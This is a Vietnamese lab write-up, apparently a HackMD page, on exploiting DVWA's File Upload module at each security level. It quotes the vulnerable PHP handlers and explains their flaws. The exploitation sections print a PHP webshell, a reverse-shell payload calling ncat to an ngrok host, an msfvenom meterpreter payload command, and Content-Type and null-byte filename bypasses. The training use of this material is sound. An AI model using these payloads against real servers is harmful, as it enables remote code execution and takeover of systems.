# Vulnerability: File Upload (DVWA) ## Đề bài ![image](https://hackmd.io/_uploads/r1syS60aa.png) - chúng ta cần đọc các file hệ thống như phpinfo() or system() ## LOW LEVEL ### Phân tích - đọc source code mình được ```php! <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?> ``` - Đoạn mã kiểm tra xem biến POST có tên là 'Upload' có được gửi không. Điều này cho thấy rằng biểu mẫu HTML đã được gửi đi và người dùng đã nhấn nút tải lên. - Nó xác định đường dẫn đích mà tệp tin sẽ được tải lên. Đường dẫn này thường được định nghĩa trước trong một hằng số hoặc biến toàn cục. - Sau đó, nó kiểm tra xem tệp tin đã được tải lên chưa bằng cách sử dụng hàm move_uploaded_file(). Hàm này di chuyển tệp tin từ vị trí tạm thời lưu trữ tới đích chỉ định. - Nếu quá trình di chuyển không thành công, mã sẽ in ra thông báo lỗi. Ngược lại, nó sẽ in ra đường dẫn tới tệp tin đã được tải lên thành công. vậy đoạn code xử lý upload không có cơ chế validate file được tải lên mà sẽ up được mọi file của người dùng ### Khai thác - up 1 file ảnh bình thường ```anh.png``` lên trang web và thành công - mình sửa trường ```filename``` thành ```anh.php``` và upload vẫn thành công ![image](https://hackmd.io/_uploads/BJEuwa0pp.png) mình thử 1 webshell để xem file có được thực thi code php không ```php! <?php echo 'SECRET' . system('whoami') . 'SECRET'; ?> ``` kết quả trả về sẽ nằm trong chuổi **SECRET** ![image](https://hackmd.io/_uploads/HkqAQ6AT6.png) đúng như ta đã phân tích web không có cơ chế validate và mình upload thành công - và sau đó đọc được nội dung trả về ![image](https://hackmd.io/_uploads/rJ2676RTp.png) thử đọc file chứa thông tin chi tiết về cấu hình của máy chủ PHP với payload ```php! <?php echo 'SECRET' . file_get_contents(phpinfo()) . 'SECRET'; ?> ``` ![image](https://hackmd.io/_uploads/B1yHIpA6p.png) và thông tin được trả ra ![image](https://hackmd.io/_uploads/r1TjBpRT6.png) - tiếp theo mình sẽ upload RCE để đọc các file trong hệ thống dễ dàng hơn - đầu tiên tạo 1 netcat server ![image](https://hackmd.io/_uploads/HkUqMT06a.png) - và mình sẽ dùng ngrok để public nó ra ngoài internet với lệnh ```./ngrok.exe tcp 8000``` ![image](https://hackmd.io/_uploads/SkfaGTAa6.png) sau đó mình up payload ```php! <?php exec('ncat 0.tcp.ap.ngrok.io 19893 -e cmd.exe') . 'SECRET'; ?> ``` ![image](https://hackmd.io/_uploads/BkeOMaC66.png) - truy cập lại file mình upload và thành công lấy được shell ![image](https://hackmd.io/_uploads/rkkdE6A6T.png) ![image](https://hackmd.io/_uploads/B1lRM60Ta.png) - tiếp đó mình đi tìm thư mục ```flags``` và đọc được nội dung trong thư mục này ![image](https://hackmd.io/_uploads/SkuHmpRTp.png) ![image](https://hackmd.io/_uploads/SyktmT0pp.png) hiển thị file này trên web ![image](https://hackmd.io/_uploads/Bkghh60Ta.png) ![image](https://hackmd.io/_uploads/B1Us3aRaT.png) vào thư mục users và thấy được có file ảnh của admin ![image](https://hackmd.io/_uploads/HyXFppRaT.png) - truy cập nó tại ```http://localhost/dvwa/hackable/users/admin.jpg``` ![image](https://hackmd.io/_uploads/ByNgCaATT.png) ### Khai thác với MSF - mình dùng lệnh sau để tạo file malware ```bash msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.62 lport=4444 -f raw > exploit.php ``` ![image](https://hackmd.io/_uploads/By40-5ygC.png) - tiếp đến mình set các tham số để hứng kết quả trả về từ máy victim trên msfconsole ![image](https://hackmd.io/_uploads/HJ50H5JxC.png) - sau đó mình upload file malware ![image](https://hackmd.io/_uploads/ryoew91e0.png) - và có được meterpreter để tương tác với hệ thống victim ![image](https://hackmd.io/_uploads/Sy5zwq1lA.png) ![image](https://hackmd.io/_uploads/r1qXv5yxR.png) ## MEDIUM LEVEL ### Phân tích - đọc source code mình được ```php <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?> ``` - đoạn code sẽ: - Kiểm tra xem biểu mẫu đã được gửi đi (đã nhấn nút "Upload") hay chưa. - Lấy tên tệp tin từ phần đường dẫn đã được tải lên. - Kiểm tra xem tệp tin đã được tải lên có phải là tệp tin ảnh không (JPEG hoặc PNG) và kích thước của tệp tin có nhỏ hơn 100000 bytes không. - Di chuyển tệp tin đã tải lên vào đường dẫn đích. - Nếu tất cả các điều kiện đều đúng, thông báo "succesfully uploaded!" sẽ được hiển thị. Nếu không, thông báo lỗi sẽ được hiển thị tương ứng. vậy đoạn code xử lý upload đã có cơ chế validate file được tải lên bằng cách kiểm tra file ảnh với Content-Type trong HTTP request nhưng trường này User có thể thay đổi được ### Khai thác - up 1 file ảnh bình thường ```anh.png``` lên trang web và thành công - mình sửa trường ```filename``` thành ```anh.php``` và upload thành công - trong đó trường Content-Type vẫn là image/png nên đoạn code vẫn chấp nhận file này là hợp lệ ![image](https://hackmd.io/_uploads/Bk2D4F51A.png) mình thử 1 webshell để xem file có được thực thi code php không ```php! <?php echo 'SECRET' . system('whoami') . 'SECRET'; ?> ``` kết quả trả về sẽ nằm trong chuổi **SECRET** ![image](https://hackmd.io/_uploads/B1hCNt910.png) - câu lệnh trên đã được hệ thống chạy - vây chúng ta chỉ cần đổi Content-Type thành image/png - và tiếp theo mình thực hiện các bước tương tự như LOW LEVEL ## HIGH LEVEL ### Phân tích - đọc source code mình được ```php <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?> ``` - Đoạn mã PHP này tương tự như đoạn mã trước, nhưng có một số cải tiến và kiểm tra thêm về loại và định dạng của tệp tin được tải lên - $uploaded_ext: Lấy phần mở rộng của tệp tin được tải lên bằng cách sử dụng hàm substr() và strrpos(). - Đối với định dạng, nó kiểm tra xem mở rộng của tệp tin là 'jpg', 'jpeg' hoặc 'png' (không phân biệt hoa thường). - Nó sử dụng hàm getimagesize() để kiểm tra xem tệp tin có phải là hình ảnh hợp lệ không. - Nếu tất cả các điều kiện đều đúng, tệp tin sẽ được di chuyển vào thư mục đích và thông báo "succesfully uploaded!" sẽ được hiển thị. Nếu không, thông báo lỗi tương ứng sẽ được hiển thị. ### Khai thác - up 1 file ảnh bình thường ```anh.png``` lên trang web và thành công - mình sửa trường ```filename``` thành ```anh.php%00.png``` để bypass phần extention khi đó file được lưu vẫn là anh.php và đến ký tự null sẽ dừng lại - trong đó trường Content-Type vẫn là image/png nên đoạn code vẫn chấp nhận file này là hợp lệ ![image](https://hackmd.io/_uploads/SkhMT91eR.png) ![image](https://hackmd.io/_uploads/S1w-6cJgR.png) ![image](https://hackmd.io/_uploads/rJaGlsJx0.png) ![image](https://hackmd.io/_uploads/Bky4-oylA.png) - và các bước sau mình tiến hành tương tự như LOW LEVEL ### IMPOSSIBLE LEVEL ### Phân tích - đọc source code mình được ```php <?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?> ``` Đoạn mã PHP này thực hiện các bước tải lên tệp tin hình ảnh như sau: - Kiểm tra Anti-CSRF token để đảm bảo tính bảo mật của biểu mẫu gửi tệp tin. - Lấy thông tin về tệp tin được tải lên như tên, phần mở rộng, kích thước, loại và đường dẫn tạm thời. - Xác định đường dẫn và tên tệp tin mới cho tệp tin được lưu trữ trên máy chủ. Đối với tên tệp tin, nó sử dụng md5(uniqid() . $uploaded_name) để tạo một tên tệp tin duy nhất. - Kiểm tra xem tệp tin có phải là hình ảnh JPEG hoặc PNG không, cùng với việc kiểm tra kích thước và sử dụng getimagesize() để đảm bảo rằng tệp tin là một hình ảnh hợp lệ. - Nếu tất cả điều kiện đều đúng, nó sẽ tạo ra một bản sao của hình ảnh để loại bỏ bất kỳ dữ liệu meta nào, sau đó di chuyển nó từ thư mục tạm thời sang thư mục lưu trữ cuối cùng. - Nếu quá trình di chuyển thành công, liên kết đến tệp tin đã tải lên sẽ được hiển thị. - Nếu có lỗi xảy ra trong quá trình tải lên hoặc di chuyển tệp tin, thông báo lỗi tương ứng sẽ được hiển thị. - Cuối cùng, nó xóa bất kỳ tệp tin tạm thời nào nếu có. - Ngoài ra, đoạn mã cũng bao gồm việc tạo và kiểm tra Anti-CSRF token để bảo vệ biểu mẫu khỏi tấn công CSRF. <img src="https://3198551054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVvHHLY2mrxd5y4e2vVYL%2Fuploads%2FF8DJirSFlv1Un7WBmtvu%2Fcomplete.gif?alt=media&token=045fd197-4004-49f4-a8ed-ee28e197008f">